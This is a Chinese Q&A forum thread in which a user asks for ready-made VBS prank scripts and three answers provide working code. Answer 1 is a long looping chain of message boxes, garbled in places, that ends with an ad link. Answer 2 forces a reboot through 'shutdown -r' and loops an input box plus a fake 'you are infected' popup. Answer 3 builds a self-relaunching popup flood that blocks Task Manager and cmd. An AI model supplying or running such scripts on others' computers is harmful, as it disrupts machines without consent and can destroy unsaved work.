vbs恶搞代码谢谢了，大神帮忙啊

Question

有成品的直接发我邮箱 满意就给分

Answer 1

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦。")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")WScript.Echo("还剩49下，快点点哦")WScript.Echo("还剩48下，快点，小笨蛋！")WScript.Echo("还剩47下对，就这样快点点！")WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")WScript.Echo("还剩45下，记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点，我有话要说")WScript.Echo("还剩12下，你继续点我就会消失滴")WScript.Echo("还剩11下，以后就看不到我拉。555555")WScript.Echo("还剩10下，你现在可以选择停止！")WScript.Echo("还剩9下。你还点啊，不要我拉？")WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")WScript.Echo("还剩7下。疯了，你有点负意！")WScript.Echo("还剩6下。对。你就点吧，我恨你！")WScript.Echo("还剩5下，不明白，删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次") 2>doWScript.Echo("想结素我么?那你就再多点一次")loop 3> vbs恶搞代码这里有视频教程可以看下 http://www.alisoho.com

Answer 2

on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""说我爱你，不说我爱你就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我爱你") a = inputbox ("说我爱你,就不关机，快撒，说 ""我爱你"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox "虽然你爱我。。我还是要关你机。因为你太听话啦" 再一个： do msgbox "哈哈，你中毒了，关闭我也没用。" loop本回答被提问者采纳

Answer 3

这个vbs代码超级NB，它可以弹出无数的窗口（霸屏)，而且有关不掉（无限），任务管理器和cmd都打不开（一直弹出窗口，打开不了，也清除不完，输入不了），想要关闭只能关机或者提前创建一个bat命令在桌面。
首先，先自己创建一个无限弹窗命令（这个命令只出现一个窗口，关不掉，只能用任务管理器或cmd关）
do
msgbox"%",vbcritical
loop
“%”表示弹出窗口的内容，自己修改即可，创建好这个vbs命令后，记住这个文件的地址
然后再创建一个vbs命令
set ws=createobject("wscript.shell")
do
ws.run "刚才的vbs文件地址"
wscript.sleep 1000
loop
run后面双引号的内容是刚才我们创建的vbs命令地址，例如"F:\脚本\脚本.vbs"，后缀名也要写，sleep后面的1000是弹出窗口的速度（数值越小，弹出窗口越快，可自己修改），还要注意的是以上代码的标点符号全部用英文的标点符号。
你还可以自己做一个bat命令来清除这些对话框
taskkill /f /im wscript.exe /t
这个也是用记事本写，然后将其后缀名改为bat即可，最好放在桌面或者创建一个快捷方式，清除对话框时点击这个bat命令即可。